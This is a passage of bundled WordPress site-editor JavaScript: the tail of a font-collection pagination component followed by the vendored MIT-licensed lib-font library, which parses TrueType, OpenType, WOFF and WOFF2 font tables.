CurrentPage: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SelectControl, {
"aria-label": (0,external_wp_i18n_namespaceObject.__)('Current page'),
value: page,
options: [...Array(totalPages)].map((e, i) => {
return {
label: i + 1,
value: i + 1
};
}),
onChange: newPage => setPage(parseInt(newPage)),
size: "small",
__nextHasNoMarginBottom: true,
variant: "minimal"
})
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
expanded: false,
spacing: 1,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
onClick: () => setPage(page - 1),
disabled: page === 1,
accessibleWhenDisabled: true,
label: (0,external_wp_i18n_namespaceObject.__)('Previous page'),
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? library_next : library_previous,
showTooltip: true,
size: "compact",
tooltipPosition: "top"
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
onClick: () => setPage(page + 1),
disabled: page === totalPages,
accessibleWhenDisabled: true,
label: (0,external_wp_i18n_namespaceObject.__)('Next page'),
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? library_previous : library_next,
showTooltip: true,
size: "compact",
tooltipPosition: "top"
})]
})]
})]
})]
});
}
/* harmony default export */ const font_collection = (FontCollection);
// EXTERNAL MODULE: ./node_modules/@wordpress/edit-site/lib/unbrotli.js
var unbrotli = __webpack_require__(8572);
var unbrotli_default = /*#__PURE__*/__webpack_require__.n(unbrotli);
// EXTERNAL MODULE: ./node_modules/@wordpress/edit-site/lib/inflate.js
var inflate = __webpack_require__(4660);
var inflate_default = /*#__PURE__*/__webpack_require__.n(inflate);
;// ./node_modules/@wordpress/edit-site/lib/lib-font.browser.js
/**
* Credits:
*
* lib-font
* https://github.com/Pomax/lib-font
* https://github.com/Pomax/lib-font/blob/master/lib-font.browser.js
*
* The MIT License (MIT)
*
* Copyright (c) 2020 pomax@nihongoresources.com
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/* eslint eslint-comments/no-unlimited-disable: 0 */
/* eslint-disable */
// import pako from 'pako';
let fetchFunction = globalThis.fetch;
// if ( ! fetchFunction ) {
// let backlog = [];
// fetchFunction = globalThis.fetch = ( ...args ) =>
// new Promise( ( resolve, reject ) => {
// backlog.push( { args: args, resolve: resolve, reject: reject } );
// } );
// import( 'fs' )
// .then( ( fs ) => {
// fetchFunction = globalThis.fetch = async function ( path ) {
// return new Promise( ( resolve, reject ) => {
// fs.readFile( path, ( err, data ) => {
// if ( err ) return reject( err );
// resolve( { ok: true, arrayBuffer: () => data.buffer } );
// } );
// } );
// };
// while ( backlog.length ) {
// let instruction = backlog.shift();
// fetchFunction( ...instruction.args )
// .then( ( data ) => instruction.resolve( data ) )
// .catch( ( err ) => instruction.reject( err ) );
// }
// } )
// .catch( ( err ) => {
// console.error( err );
// throw new Error(
// `lib-font cannot run unless either the Fetch API or Node's filesystem module is available.`
// );
// } );
// }
class lib_font_browser_Event {
constructor( type, detail = {}, msg ) {
this.type = type;
this.detail = detail;
this.msg = msg;
Object.defineProperty( this, `__mayPropagate`, {
enumerable: false,
writable: true,
} );
this.__mayPropagate = true;
}
preventDefault() {}
stopPropagation() {
this.__mayPropagate = false;
}
valueOf() {
return this;
}
toString() {
return this.msg
? `[${ this.type } event]: ${ this.msg }`
: `[${ this.type } event]`;
}
}
class EventManager {
constructor() {
this.listeners = {};
}
addEventListener( type, listener, useCapture ) {
let bin = this.listeners[ type ] || [];
if ( useCapture ) bin.unshift( listener );
else bin.push( listener );
this.listeners[ type ] = bin;
}
removeEventListener( type, listener ) {
let bin = this.listeners[ type ] || [];
let pos = bin.findIndex( ( e ) => e === listener );
if ( pos > -1 ) {
bin.splice( pos, 1 );
this.listeners[ type ] = bin;
}
}
dispatch( event ) {
let bin = this.listeners[ event.type ];
if ( bin ) {
for ( let l = 0, e = bin.length; l < e; l++ ) {
if ( ! event.__mayPropagate ) break;
bin[ l ]( event );
}
}
}
}
const startDate = new Date( `1904-01-01T00:00:00+0000` ).getTime();
function asText( data ) {
return Array.from( data )
.map( ( v ) => String.fromCharCode( v ) )
.join( `` );
}
class Parser {
constructor( dict, dataview, name ) {
this.name = ( name || dict.tag || `` ).trim();
this.length = dict.length;
this.start = dict.offset;
this.offset = 0;
this.data = dataview;
[
`getInt8`,
`getUint8`,
`getInt16`,
`getUint16`,
`getInt32`,
`getUint32`,
`getBigInt64`,
`getBigUint64`,
].forEach( ( name ) => {
let fn = name.replace( /get(Big)?/, '' ).toLowerCase();
let increment = parseInt( name.replace( /[^\d]/g, '' ) ) / 8;
Object.defineProperty( this, fn, {
get: () => this.getValue( name, increment ),
} );
} );
}
get currentPosition() {
return this.start + this.offset;
}
set currentPosition( position ) {
this.start = position;
this.offset = 0;
}
skip( n = 0, bits = 8 ) {
this.offset += ( n * bits ) / 8;
}
getValue( type, increment ) {
let pos = this.start + this.offset;
this.offset += increment;
try {
return this.data[ type ]( pos );
} catch ( e ) {
console.error( `parser`, type, increment, this );
console.error( `parser`, this.start, this.offset );
throw e;
}
}
flags( n ) {
if ( n === 8 || n === 16 || n === 32 || n === 64 ) {
return this[ `uint${ n }` ]
.toString( 2 )
.padStart( n, 0 )
.split( `` )
.map( ( v ) => v === '1' );
}
console.error(
`Error parsing flags: flag types can only be 1, 2, 4, or 8 bytes long`
);
console.trace();
}
get tag() {
const t = this.uint32;
return asText( [
( t >> 24 ) & 255,
( t >> 16 ) & 255,
( t >> 8 ) & 255,
t & 255,
] );
}
get fixed() {
let major = this.int16;
let minor = Math.round( ( 1e3 * this.uint16 ) / 65356 );
return major + minor / 1e3;
}
get legacyFixed() {
let major = this.uint16;
let minor = this.uint16.toString( 16 ).padStart( 4, 0 );
return parseFloat( `${ major }.${ minor }` );
}
get uint24() {
return ( this.uint8 << 16 ) + ( this.uint8 << 8 ) + this.uint8;
}
get uint128() {
let value = 0;
for ( let i = 0; i < 5; i++ ) {
let byte = this.uint8;
value = value * 128 + ( byte & 127 );
if ( byte < 128 ) break;
}
return value;
}
get longdatetime() {
return new Date( startDate + 1e3 * parseInt( this.int64.toString() ) );
}
get fword() {
return this.int16;
}
get ufword() {
return this.uint16;
}
get Offset16() {
return this.uint16;
}
get Offset32() {
return this.uint32;
}
get F2DOT14() {
const bits = p.uint16;
const integer = [ 0, 1, -2, -1 ][ bits >> 14 ];
const fraction = bits & 16383;
return integer + fraction / 16384;
}
verifyLength() {
if ( this.offset != this.length ) {
console.error(
`unexpected parsed table size (${ this.offset }) for "${ this.name }" (expected ${ this.length })`
);
}
}
readBytes( n = 0, position = 0, bits = 8, signed = false ) {
n = n || this.length;
if ( n === 0 ) return [];
if ( position ) this.currentPosition = position;
const fn = `${ signed ? `` : `u` }int${ bits }`,
slice = [];
while ( n-- ) slice.push( this[ fn ] );
return slice;
}
}
class ParsedData {
constructor( parser ) {
const pGetter = { enumerable: false, get: () => parser };
Object.defineProperty( this, `parser`, pGetter );
const start = parser.currentPosition;
const startGetter = { enumerable: false, get: () => start };
Object.defineProperty( this, `start`, startGetter );
}
load( struct ) {
Object.keys( struct ).forEach( ( p ) => {
let props = Object.getOwnPropertyDescriptor( struct, p );
if ( props.get ) {
this[ p ] = props.get.bind( this );
} else if ( props.value !== undefined ) {
this[ p ] = props.value;
}
} );
if ( this.parser.length ) {
this.parser.verifyLength();
}
}
}
class SimpleTable extends ParsedData {
constructor( dict, dataview, name ) {
const { parser: parser, start: start } = super(
new Parser( dict, dataview, name )
);
const pGetter = { enumerable: false, get: () => parser };
Object.defineProperty( this, `p`, pGetter );
const startGetter = { enumerable: false, get: () => start };
Object.defineProperty( this, `tableStart`, startGetter );
}
}
function lazy$1( object, property, getter ) {
let val;
Object.defineProperty( object, property, {
get: () => {
if ( val ) return val;
val = getter();
return val;
},
enumerable: true,
} );
}
class SFNT extends SimpleTable {
constructor( font, dataview, createTable ) {
const { p: p } = super( { offset: 0, length: 12 }, dataview, `sfnt` );
this.version = p.uint32;
this.numTables = p.uint16;
this.searchRange = p.uint16;
this.entrySelector = p.uint16;
this.rangeShift = p.uint16;
p.verifyLength();
this.directory = [ ...new Array( this.numTables ) ].map(
( _ ) => new TableRecord( p )
);
this.tables = {};
this.directory.forEach( ( entry ) => {
const getter = () =>
createTable(
this.tables,
{
tag: entry.tag,
offset: entry.offset,
length: entry.length,
},
dataview
);
lazy$1( this.tables, entry.tag.trim(), getter );
} );
}
}
class TableRecord {
constructor( p ) {
this.tag = p.tag;
this.checksum = p.uint32;
this.offset = p.uint32;
this.length = p.uint32;
}
}
const gzipDecode = (inflate_default()).inflate || undefined;
let nativeGzipDecode = undefined;
// if ( ! gzipDecode ) {
// import( 'zlib' ).then( ( zlib ) => {
// nativeGzipDecode = ( buffer ) => zlib.unzipSync( buffer );
// } );
// }
class WOFF$1 extends SimpleTable {
constructor( font, dataview, createTable ) {
const { p: p } = super( { offset: 0, length: 44 }, dataview, `woff` );
this.signature = p.tag;
this.flavor = p.uint32;
this.length = p.uint32;
this.numTables = p.uint16;
p.uint16;
this.totalSfntSize = p.uint32;
this.majorVersion = p.uint16;
this.minorVersion = p.uint16;
this.metaOffset = p.uint32;
this.metaLength = p.uint32;
this.metaOrigLength = p.uint32;
this.privOffset = p.uint32;
this.privLength = p.uint32;
p.verifyLength();
this.directory = [ ...new Array( this.numTables ) ].map(
( _ ) => new WoffTableDirectoryEntry( p )
);
buildWoffLazyLookups( this, dataview, createTable );
}
}
class WoffTableDirectoryEntry {
constructor( p ) {
this.tag = p.tag;
this.offset = p.uint32;
this.compLength = p.uint32;
this.origLength = p.uint32;
this.origChecksum = p.uint32;
}
}
function buildWoffLazyLookups( woff, dataview, createTable ) {
woff.tables = {};
woff.directory.forEach( ( entry ) => {
lazy$1( woff.tables, entry.tag.trim(), () => {
let offset = 0;
let view = dataview;
if ( entry.compLength !== entry.origLength ) {
const data = dataview.buffer.slice(
entry.offset,
entry.offset + entry.compLength
);
let unpacked;
if ( gzipDecode ) {
unpacked = gzipDecode( new Uint8Array( data ) );
} else if ( nativeGzipDecode ) {
unpacked = nativeGzipDecode( new Uint8Array( data ) );
} else {
const msg = `no brotli decoder available to decode WOFF2 font`;
if ( font.onerror ) font.onerror( msg );
throw new Error( msg );
}
view = new DataView( unpacked.buffer );
} else {
offset = entry.offset;
}
return createTable(
woff.tables,
{ tag: entry.tag, offset: offset, length: entry.origLength },
view
);
} );
} );
}
const brotliDecode = (unbrotli_default());
let nativeBrotliDecode = undefined;
// if ( ! brotliDecode ) {
// import( 'zlib' ).then( ( zlib ) => {
// nativeBrotliDecode = ( buffer ) => zlib.brotliDecompressSync( buffer );
// } );
// }
class WOFF2$1 extends SimpleTable {
constructor( font, dataview, createTable ) {
const { p: p } = super( { offset: 0, length: 48 }, dataview, `woff2` );
this.signature = p.tag;
this.flavor = p.uint32;
this.length = p.uint32;
this.numTables = p.uint16;
p.uint16;
this.totalSfntSize = p.uint32;
this.totalCompressedSize = p.uint32;
this.majorVersion = p.uint16;
this.minorVersion = p.uint16;
this.metaOffset = p.uint32;
this.metaLength = p.uint32;
this.metaOrigLength = p.uint32;
this.privOffset = p.uint32;
this.privLength = p.uint32;
p.verifyLength();
this.directory = [ ...new Array( this.numTables ) ].map(
( _ ) => new Woff2TableDirectoryEntry( p )
);
let dictOffset = p.currentPosition;
this.directory[ 0 ].offset = 0;
this.directory.forEach( ( e, i ) => {
let next = this.directory[ i + 1 ];
if ( next ) {
next.offset =
e.offset +
( e.transformLength !== undefined
? e.transformLength
: e.origLength );
}
} );
let decoded;
let buffer = dataview.buffer.slice( dictOffset );
if ( brotliDecode ) {
decoded = brotliDecode( new Uint8Array( buffer ) );
} else if ( nativeBrotliDecode ) {
decoded = new Uint8Array( nativeBrotliDecode( buffer ) );
} else {
const msg = `no brotli decoder available to decode WOFF2 font`;
if ( font.onerror ) font.onerror( msg );
throw new Error( msg );
}
buildWoff2LazyLookups( this, decoded, createTable );
}
}
class Woff2TableDirectoryEntry {
constructor( p ) {
this.flags = p.uint8;
const tagNumber = ( this.tagNumber = this.flags & 63 );
if ( tagNumber === 63 ) {
this.tag = p.tag;
} else {
this.tag = getWOFF2Tag( tagNumber );
}
const transformVersion = ( this.transformVersion =
( this.flags & 192 ) >> 6 );
let hasTransforms = transformVersion !== 0;
if ( this.tag === `glyf` || this.tag === `loca` ) {
hasTransforms = this.transformVersion !== 3;
}
this.origLength = p.uint128;
if ( hasTransforms ) {
this.transformLength = p.uint128;
}
}
}
function buildWoff2LazyLookups( woff2, decoded, createTable ) {
woff2.tables = {};
woff2.directory.forEach( ( entry ) => {
lazy$1( woff2.tables, entry.tag.trim(), () => {
const start = entry.offset;
const end =
start +
( entry.transformLength
? entry.transformLength
: entry.origLength );
const data = new DataView( decoded.slice( start, end ).buffer );
try {
return createTable(
woff2.tables,
{ tag: entry.tag, offset: 0, length: entry.origLength },
data
);
} catch ( e ) {
console.error( e );
}
} );
} );
}
function getWOFF2Tag( flag ) {
return [
`cmap`,
`head`,
`hhea`,
`hmtx`,
`maxp`,
`name`,
`OS/2`,
`post`,
`cvt `,
`fpgm`,
`glyf`,
`loca`,
`prep`,
`CFF `,
`VORG`,
`EBDT`,
`EBLC`,
`gasp`,
`hdmx`,
`kern`,
`LTSH`,
`PCLT`,
`VDMX`,
`vhea`,
`vmtx`,
`BASE`,
`GDEF`,
`GPOS`,
`GSUB`,
`EBSC`,
`JSTF`,
`MATH`,
`CBDT`,
`CBLC`,
`COLR`,
`CPAL`,
`SVG `,
`sbix`,
`acnt`,
`avar`,
`bdat`,
`bloc`,
`bsln`,
`cvar`,
`fdsc`,
`feat`,
`fmtx`,
`fvar`,
`gvar`,
`hsty`,
`just`,
`lcar`,
`mort`,
`morx`,
`opbd`,
`prop`,
`trak`,
`Zapf`,
`Silf`,
`Glat`,
`Gloc`,
`Feat`,
`Sill`,
][ flag & 63 ];
}
const tableClasses = {};
let tableClassesLoaded = false;
Promise.all( [
Promise.resolve().then( function () {
return cmap$1;
} ),
Promise.resolve().then( function () {
return head$1;
} ),
Promise.resolve().then( function () {
return hhea$1;
} ),
Promise.resolve().then( function () {
return hmtx$1;
} ),
Promise.resolve().then( function () {
return maxp$1;
} ),
Promise.resolve().then( function () {
return name$1;
} ),
Promise.resolve().then( function () {
return OS2$1;
} ),
Promise.resolve().then( function () {
return post$1;
} ),
Promise.resolve().then( function () {
return BASE$1;
} ),
Promise.resolve().then( function () {
return GDEF$1;
} ),
Promise.resolve().then( function () {
return GSUB$1;
} ),
Promise.resolve().then( function () {
return GPOS$1;
} ),
Promise.resolve().then( function () {
return SVG$1;
} ),
Promise.resolve().then( function () {
return fvar$1;
} ),
Promise.resolve().then( function () {
return cvt$1;
} ),
Promise.resolve().then( function () {
return fpgm$1;
} ),
Promise.resolve().then( function () {
return gasp$1;
} ),
Promise.resolve().then( function () {
return glyf$1;
} ),
Promise.resolve().then( function () {
return loca$1;
} ),
Promise.resolve().then( function () {
return prep$1;
} ),
Promise.resolve().then( function () {
return CFF$1;
} ),
Promise.resolve().then( function () {
return CFF2$1;
} ),
Promise.resolve().then( function () {
return VORG$1;
} ),
Promise.resolve().then( function () {
return EBLC$1;
} ),
Promise.resolve().then( function () {
return EBDT$1;
} ),
Promise.resolve().then( function () {
return EBSC$1;
} ),
Promise.resolve().then( function () {
return CBLC$1;
} ),
Promise.resolve().then( function () {
return CBDT$1;
} ),
Promise.resolve().then( function () {
return sbix$1;
} ),
Promise.resolve().then( function () {
return COLR$1;
} ),
Promise.resolve().then( function () {
return CPAL$1;
} ),
Promise.resolve().then( function () {
return DSIG$1;
} ),
Promise.resolve().then( function () {
return hdmx$1;
} ),
Promise.resolve().then( function () {
return kern$1;
} ),
Promise.resolve().then( function () {
return LTSH$1;
} ),
Promise.resolve().then( function () {
return MERG$1;
} ),
Promise.resolve().then( function () {
return meta$1;
} ),
Promise.resolve().then( function () {
return PCLT$1;
} ),
Promise.resolve().then( function () {
return VDMX$1;
} ),
Promise.resolve().then( function () {
return vhea$1;
} ),
Promise.resolve().then( function () {
return vmtx$1;
} ),
] ).then( ( data ) => {
data.forEach( ( e ) => {
let name = Object.keys( e )[ 0 ];
tableClasses[ name ] = e[ name ];
} );
tableClassesLoaded = true;
} );
function createTable( tables, dict, dataview ) {
let name = dict.tag.replace( /[^\w\d]/g, `` );
let Type = tableClasses[ name ];
if ( Type ) return new Type( dict, dataview, tables );
console.warn(
`lib-font has no definition for ${ name }. The table was skipped.`
);
return {};
}
function loadTableClasses() {
let count = 0;
function checkLoaded( resolve, reject ) {
if ( ! tableClassesLoaded ) {
if ( count > 10 ) {
return reject( new Error( `loading took too long` ) );
}
count++;
return setTimeout( () => checkLoaded( resolve ), 250 );
}
resolve( createTable );
}
return new Promise( ( resolve, reject ) => checkLoaded( resolve ) );
}
function getFontCSSFormat( path, errorOnStyle ) {
let pos = path.lastIndexOf( `.` );
let ext = ( path.substring( pos + 1 ) || `` ).toLowerCase();
let format = {
ttf: `truetype`,
otf: `opentype`,
woff: `woff`,
woff2: `woff2`,
}[ ext ];
if ( format ) return format;
let msg = {
eot: `The .eot format is not supported: it died in January 12, 2016, when Microsoft retired all versions of IE that didn't already support WOFF.`,
svg: `The .svg format is not supported: SVG fonts (not to be confused with OpenType with embedded SVG) were so bad we took the entire fonts chapter out of the SVG specification again.`,
fon: `The .fon format is not supported: this is an ancient Windows bitmap font format.`,
ttc: `Based on the current CSS specification, font collections are not (yet?) supported.`,
}[ ext ];
if ( ! msg ) msg = `${ path } is not a known webfont format.`;
if ( errorOnStyle ) {
throw new Error( msg );
} else {
console.warn( `Could not load font: ${ msg }` );
}
}
async function setupFontFace( name, url, options = {} ) {
if ( ! globalThis.document ) return;
let format = getFontCSSFormat( url, options.errorOnStyle );
if ( ! format ) return;
let style = document.createElement( `style` );
style.className = `injected-by-Font-js`;
let rules = [];
if ( options.styleRules ) {
rules = Object.entries( options.styleRules ).map(
( [ key, value ] ) => `${ key }: ${ value };`
);
}
style.textContent = `\n@font-face {\n font-family: "${ name }";\n ${ rules.join(
`\n\t`
) }\n src: url("${ url }") format("${ format }");\n}`;
globalThis.document.head.appendChild( style );
return style;
}
const TTF = [ 0, 1, 0, 0 ];
const OTF = [ 79, 84, 84, 79 ];
const WOFF = [ 119, 79, 70, 70 ];
const WOFF2 = [ 119, 79, 70, 50 ];
function match( ar1, ar2 ) {
if ( ar1.length !== ar2.length ) return;
for ( let i = 0; i < ar1.length; i++ ) {
if ( ar1[ i ] !== ar2[ i ] ) return;
}
return true;
}
function validFontFormat( dataview ) {
const LEAD_BYTES = [
dataview.getUint8( 0 ),
dataview.getUint8( 1 ),
dataview.getUint8( 2 ),
dataview.getUint8( 3 ),
];
if ( match( LEAD_BYTES, TTF ) || match( LEAD_BYTES, OTF ) ) return `SFNT`;
if ( match( LEAD_BYTES, WOFF ) ) return `WOFF`;
if ( match( LEAD_BYTES, WOFF2 ) ) return `WOFF2`;
}
function checkFetchResponseStatus( response ) {
if ( ! response.ok ) {
throw new Error(
`HTTP ${ response.status } - ${ response.statusText }`
);
}
return response;
}
class Font extends EventManager {
constructor( name, options = {} ) {
super();
this.name = name;
this.options = options;
this.metrics = false;
}
get src() {
return this.__src;
}
set src( src ) {
this.__src = src;
( async () => {
if ( globalThis.document && ! this.options.skipStyleSheet ) {
await setupFontFace( this.name, src, this.options );
}
this.loadFont( src );
} )();
}
async loadFont( url, filename ) {
fetch( url )
.then(
( response ) =>
checkFetchResponseStatus( response ) &&
response.arrayBuffer()
)
.then( ( buffer ) =>
this.fromDataBuffer( buffer, filename || url )
)
.catch( ( err ) => {
const evt = new lib_font_browser_Event(
`error`,
err,
`Failed to load font at ${ filename || url }`
);
this.dispatch( evt );
if ( this.onerror ) this.onerror( evt );
} );
}
async fromDataBuffer( buffer, filenameOrUrL ) {
this.fontData = new DataView( buffer );
let type = validFontFormat( this.fontData );
if ( ! type ) {
throw new Error(
`${ filenameOrUrL } is either an unsupported font format, or not a font at all.`
);
}
await this.parseBasicData( type );
const evt = new lib_font_browser_Event( 'load', { font: this } );
this.dispatch( evt );
if ( this.onload ) this.onload( evt );
}
async parseBasicData( type ) {
return loadTableClasses().then( ( createTable ) => {
if ( type === `SFNT` ) {
this.opentype = new SFNT( this, this.fontData, createTable );
}
if ( type === `WOFF` ) {
this.opentype = new WOFF$1( this, this.fontData, createTable );
}
if ( type === `WOFF2` ) {
this.opentype = new WOFF2$1( this, this.fontData, createTable );
}
return this.opentype;
} );
}
getGlyphId( char ) {
return this.opentype.tables.cmap.getGlyphId( char );
}
reverse( glyphid ) {
return this.opentype.tables.cmap.reverse( glyphid );
}
supports( char ) {
return this.getGlyphId( char ) !== 0;
}
supportsVariation( variation ) {
return (
this.opentype.tables.cmap.supportsVariation( variation ) !== false
);
}
measureText( text, size = 16 ) {
if ( this.__unloaded )
throw new Error(
'Cannot measure text: font was unloaded. Please reload before calling measureText()'
);
let d = document.createElement( 'div' );
d.textContent = text;
d.style.fontFamily = this.name;
d.style.fontSize = `${ size }px`;
d.style.color = `transparent`;
d.style.background = `transparent`;
d.style.top = `0`;
d.style.left = `0`;
d.style.position = `absolute`;
document.body.appendChild( d );
let bbox = d.getBoundingClientRect();
document.body.removeChild( d );
const OS2 = this.opentype.tables[ 'OS/2' ];
bbox.fontSize = size;
bbox.ascender = OS2.sTypoAscender;
bbox.descender = OS2.sTypoDescender;
return bbox;
}
unload() {
if ( this.styleElement.parentNode ) {
this.styleElement.parentNode.removeElement( this.styleElement );
const evt = new lib_font_browser_Event( 'unload', { font: this } );
this.dispatch( evt );
if ( this.onunload ) this.onunload( evt );
}
this._unloaded = true;
}
load() {
if ( this.__unloaded ) {
delete this.__unloaded;
document.head.appendChild( this.styleElement );
const evt = new lib_font_browser_Event( 'load', { font: this } );
this.dispatch( evt );
if ( this.onload ) this.onload( evt );
}
}
}
globalThis.Font = Font;
class Subtable extends ParsedData {
constructor( p, plaformID, encodingID ) {
super( p );
this.plaformID = plaformID;
this.encodingID = encodingID;
}
}
class Format0 extends Subtable {
constructor( p, platformID, encodingID ) {
super( p, platformID, encodingID );
this.format = 0;
this.length = p.uint16;
this.language = p.uint16;
this.glyphIdArray = [ ...new Array( 256 ) ].map( ( _ ) => p.uint8 );
}
supports( charCode ) {
if ( charCode.charCodeAt ) {
charCode = -1;
console.warn(
`supports(character) not implemented for cmap subtable format 0. only supports(id) is implemented.`
);
}
return 0 <= charCode && charCode <= 255;
}
reverse( glyphID ) {
console.warn( `reverse not implemented for cmap subtable format 0` );
return {};
}
getSupportedCharCodes() {
return [ { start: 1, end: 256 } ];
}
}
class Format2 extends Subtable {
constructor( p, platformID, encodingID ) {
super( p, platformID, encodingID );
this.format = 2;
this.length = p.uint16;
this.language = p.uint16;
this.subHeaderKeys = [ ...new Array( 256 ) ].map( ( _ ) => p.uint16 );
const subHeaderCount = Math.max( ...this.subHeaderKeys );
const subHeaderOffset = p.currentPosition;
lazy$1( this, `subHeaders`, () => {
p.currentPosition = subHeaderOffset;
return [ ...new Array( subHeaderCount ) ].map(
( _ ) => new SubHeader( p )
);
} );
const glyphIndexOffset = subHeaderOffset + subHeaderCount * 8;
lazy$1( this, `glyphIndexArray`, () => {
p.currentPosition = glyphIndexOffset;
return [ ...new Array( subHeaderCount ) ].map( ( _ ) => p.uint16 );
} );
}
supports( charCode ) {
if ( charCode.charCodeAt ) {
charCode = -1;
console.warn(
`supports(character) not implemented for cmap subtable format 2. only supports(id) is implemented.`
);
}
const low = charCode && 255;
const high = charCode && 65280;
const subHeaderKey = this.subHeaders[ high ];
const subheader = this.subHeaders[ subHeaderKey ];
const first = subheader.firstCode;
const last = first + subheader.entryCount;
return first <= low && low <= last;
}
reverse( glyphID ) {
console.warn( `reverse not implemented for cmap subtable format 2` );
return {};
}
getSupportedCharCodes( preservePropNames = false ) {
if ( preservePropNames ) {
return this.subHeaders.map( ( h ) => ( {
firstCode: h.firstCode,
lastCode: h.lastCode,
} ) );
}
return this.subHeaders.map( ( h ) => ( {
start: h.firstCode,
end: h.lastCode,
} ) );
}
}
class SubHeader {
constructor( p ) {
this.firstCode = p.uint16;
this.entryCount = p.uint16;
this.lastCode = this.first + this.entryCount;
this.idDelta = p.int16;
this.idRangeOffset = p.uint16;
}
}
class Format4 extends Subtable {
constructor( p, platformID, encodingID ) {
super( p, platformID, encodingID );
this.format = 4;
this.length = p.uint16;
this.language = p.uint16;
this.segCountX2 = p.uint16;
this.segCount = this.segCountX2 / 2;
this.searchRange = p.uint16;
this.entrySelector = p.uint16;
this.rangeShift = p.uint16;
const endCodePosition = p.currentPosition;
lazy$1( this, `endCode`, () =>
p.readBytes( this.segCount, endCodePosition, 16 )
);
const startCodePosition = endCodePosition + 2 + this.segCountX2;
lazy$1( this, `startCode`, () =>
p.readBytes( this.segCount, startCodePosition, 16 )
);
const idDeltaPosition = startCodePosition + this.segCountX2;
lazy$1( this, `idDelta`, () =>
p.readBytes( this.segCount, idDeltaPosition, 16, true )
);
const idRangePosition = idDeltaPosition + this.segCountX2;
lazy$1( this, `idRangeOffset`, () =>
p.readBytes( this.segCount, idRangePosition, 16 )
);
const glyphIdArrayPosition = idRangePosition + this.segCountX2;
const glyphIdArrayLength =
this.length - ( glyphIdArrayPosition - this.tableStart );
lazy$1( this, `glyphIdArray`, () =>
p.readBytes( glyphIdArrayLength, glyphIdArrayPosition, 16 )
);
lazy$1( this, `segments`, () =>
this.buildSegments( idRangePosition, glyphIdArrayPosition, p )
);
}
buildSegments( idRangePosition, glyphIdArrayPosition, p ) {
const build = ( _, i ) => {
let startCode = this.startCode[ i ],
endCode = this.endCode[ i ],
idDelta = this.idDelta[ i ],
idRangeOffset = this.idRangeOffset[ i ],
idRangeOffsetPointer = idRangePosition + 2 * i,
glyphIDs = [];
if ( idRangeOffset === 0 ) {
for (
let i = startCode + idDelta, e = endCode + idDelta;
i <= e;
i++
) {
glyphIDs.push( i );
}
} else {
for ( let i = 0, e = endCode - startCode; i <= e; i++ ) {
p.currentPosition =
idRangeOffsetPointer + idRangeOffset + i * 2;
glyphIDs.push( p.uint16 );
}
}
return {
startCode: startCode,
endCode: endCode,
idDelta: idDelta,
idRangeOffset: idRangeOffset,
glyphIDs: glyphIDs,
};
};
return [ ...new Array( this.segCount ) ].map( build );
}
reverse( glyphID ) {
let s = this.segments.find( ( v ) => v.glyphIDs.includes( glyphID ) );
if ( ! s ) return {};
const code = s.startCode + s.glyphIDs.indexOf( glyphID );
return { code: code, unicode: String.fromCodePoint( code ) };
}
getGlyphId( charCode ) {
if ( charCode.charCodeAt ) charCode = charCode.charCodeAt( 0 );
if ( 55296 <= charCode && charCode <= 57343 ) return 0;
if ( ( charCode & 65534 ) === 65534 || ( charCode & 65535 ) === 65535 )
return 0;
let segment = this.segments.find(
( s ) => s.startCode <= charCode && charCode <= s.endCode
);
if ( ! segment ) return 0;
return segment.glyphIDs[ charCode - segment.startCode ];
}
supports( charCode ) {
return this.getGlyphId( charCode ) !== 0;
}
getSupportedCharCodes( preservePropNames = false ) {
if ( preservePropNames ) return this.segments;
return this.segments.map( ( v ) => ( {
start: v.startCode,
end: v.endCode,
} ) );
}
}
class Format6 extends Subtable {
constructor( p, platformID, encodingID ) {
super( p, platformID, encodingID );
this.format = 6;
this.length = p.uint16;
this.language = p.uint16;
this.firstCode = p.uint16;
this.entryCount = p.uint16;
this.lastCode = this.firstCode + this.entryCount - 1;
const getter = () =>
[ ...new Array( this.entryCount ) ].map( ( _ ) => p.uint16 );
lazy$1( this, `glyphIdArray`, getter );
}
supports( charCode ) {
if ( charCode.charCodeAt ) {
charCode = -1;
console.warn(
`supports(character) not implemented for cmap subtable format 6. only supports(id) is implemented.`
);
}
if ( charCode < this.firstCode ) return {};
if ( charCode > this.firstCode + this.entryCount ) return {};
const code = charCode - this.firstCode;
return { code: code, unicode: String.fromCodePoint( code ) };
}
reverse( glyphID ) {
let pos = this.glyphIdArray.indexOf( glyphID );
if ( pos > -1 ) return this.firstCode + pos;
}
getSupportedCharCodes( preservePropNames = false ) {
if ( preservePropNames ) {
return [ { firstCode: this.firstCode, lastCode: this.lastCode } ];
}
return [ { start: this.firstCode, end: this.lastCode } ];
}
}
class Format8 extends Subtable {
constructor( p, platformID, encodingID ) {
super( p, platformID, encodingID );
this.format = 8;
p.uint16;
this.length = p.uint32;
this.language = p.uint32;
this.is32 = [ ...new Array( 8192 ) ].map( ( _ ) => p.uint8 );
this.numGroups = p.uint32;
const getter = () =>
[ ...new Array( this.numGroups ) ].map(
( _ ) => new SequentialMapGroup$1( p )
);
lazy$1( this, `groups`, getter );
}
